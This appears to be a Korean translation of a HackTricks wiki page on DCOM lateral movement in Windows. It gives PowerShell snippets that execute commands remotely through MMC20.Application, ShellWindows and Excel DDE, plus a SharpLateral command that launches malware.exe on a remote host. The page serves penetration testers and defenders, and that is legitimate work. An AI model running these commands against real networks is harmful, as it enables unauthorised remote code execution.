DCOM Exec

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

Try Hard Security Group


MMC20.Application

이 기술에 대한 자세한 내용은 https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/의 원본 게시물을 확인하세요.

분산 구성 요소 개체 모델(DCOM)은 네트워크 기반 객체와의 상호 작용에 흥미로운 기능을 제공합니다. Microsoft은 DCOM 및 구성 요소 개체 모델(COM)에 대한 포괄적인 문서를 제공하며, DCOM에 대한 여기COM에 대한 여기에서 액세스할 수 있습니다. PowerShell 명령을 사용하여 DCOM 응용 프로그램 목록을 검색할 수 있습니다:

Get-CimInstance Win32_DCOMApplication

COM 객체인 MMC Application Class (MMC20.Application)은 MMC 스냅인 작업에 대한 스크립팅을 가능하게 합니다. 특히, 이 객체에는 Document.ActiveView 아래에 ExecuteShellCommand 메소드가 포함되어 있습니다. 이 메소드에 대한 자세한 정보는 여기에서 확인할 수 있습니다. 다음을 실행하여 확인하세요:

이 기능은 DCOM 응용 프로그램을 통해 네트워크 상에서 명령을 실행하는 것을 용이하게 합니다. 관리자로서 원격으로 DCOM과 상호 작용하기 위해 PowerShell을 다음과 같이 활용할 수 있습니다:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

이 명령은 DCOM 애플리케이션에 연결하고 COM 객체의 인스턴스를 반환합니다. 그런 다음 ExecuteShellCommand 메서드를 호출하여 원격 호스트에서 프로세스를 실행할 수 있습니다. 프로세스는 다음 단계를 포함합니다:

메서드 확인:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

원격 코드 실행(RCE) 얻기:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

이 기술에 대한 자세한 내용은 원본 게시물을 확인하세요 https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

MMC20.Application 객체는 명시적인 "LaunchPermissions"이 없는 것으로 확인되었으며, 관리자 액세스를 허용하는 권한으로 기본 설정되어 있습니다. 자세한 내용은 여기에서 확인할 수 있으며, 명시적인 Launch Permission이 없는 객체를 필터링하기 위해 @tiraniddo의 OleView .NET 사용이 권장됩니다.

특정 객체인 ShellBrowserWindowShellWindows는 명시적인 Launch Permissions이 없어서 강조되었습니다. HKCR:\AppID\{guid} 아래의 LaunchPermission 레지스트리 항목이 없는 것은 명시적인 권한이 없음을 나타냅니다.

ShellWindows

ShellWindows의 경우 ProgID가 없으며, .NET 메서드인 Type.GetTypeFromCLSIDActivator.CreateInstance을 사용하여 AppID를 통해 객체를 인스턴스화할 수 있습니다. 이 프로세스는 OleView .NET을 활용하여 ShellWindows의 CLSID를 검색합니다. 인스턴스화된 후 WindowsShell.Item 메서드를 통해 상호작용이 가능하며, Document.Application.ShellExecute와 같은 메서드 호출이 가능합니다.

객체를 인스턴스화하고 원격으로 명령을 실행하는 예시 PowerShell 명령이 제공되었습니다:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Excel DCOM 객체를 활용한 측면 이동

DCOM Excel 객체를 악용하여 측면 이동을 달성할 수 있습니다. 자세한 정보는 Cybereason의 블로그에서 DCOM을 통해 Excel DDE를 활용한 측면 이동에 대한 토론을 읽는 것이 좋습니다.

Empire 프로젝트는 Excel을 사용하여 원격 코드 실행 (RCE)을 수행하는 PowerShell 스크립트를 제공합니다. 아래는 Excel을 RCE에 악용하는 다양한 방법을 보여주는 Empire의 GitHub 저장소에 있는 스크립트에서 스니펫입니다:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

측면 이동을 자동화하는 도구

이러한 기술을 자동화하는 데 강조된 두 가지 도구가 있습니다:

  • Invoke-DCOM.ps1: Empire 프로젝트에서 제공하는 PowerShell 스크립트로, 원격 컴퓨터에서 코드를 실행하는 다양한 방법을 간소화합니다. 이 스크립트는 Empire GitHub 저장소에서 접근할 수 있습니다.

  • SharpLateral: 원격으로 코드를 실행하기 위해 설계된 도구로, 다음 명령과 함께 사용할 수 있습니다:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

자동 도구

  • Powershell 스크립트 Invoke-DCOM.ps1를 사용하면 다른 기계에서 코드를 실행하는 주석 처리된 모든 방법을 쉽게 호출할 수 있습니다.

  • SharpLateral도 사용할 수 있습니다:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

참고 자료

Try Hard Security Group

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되기까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

Last updated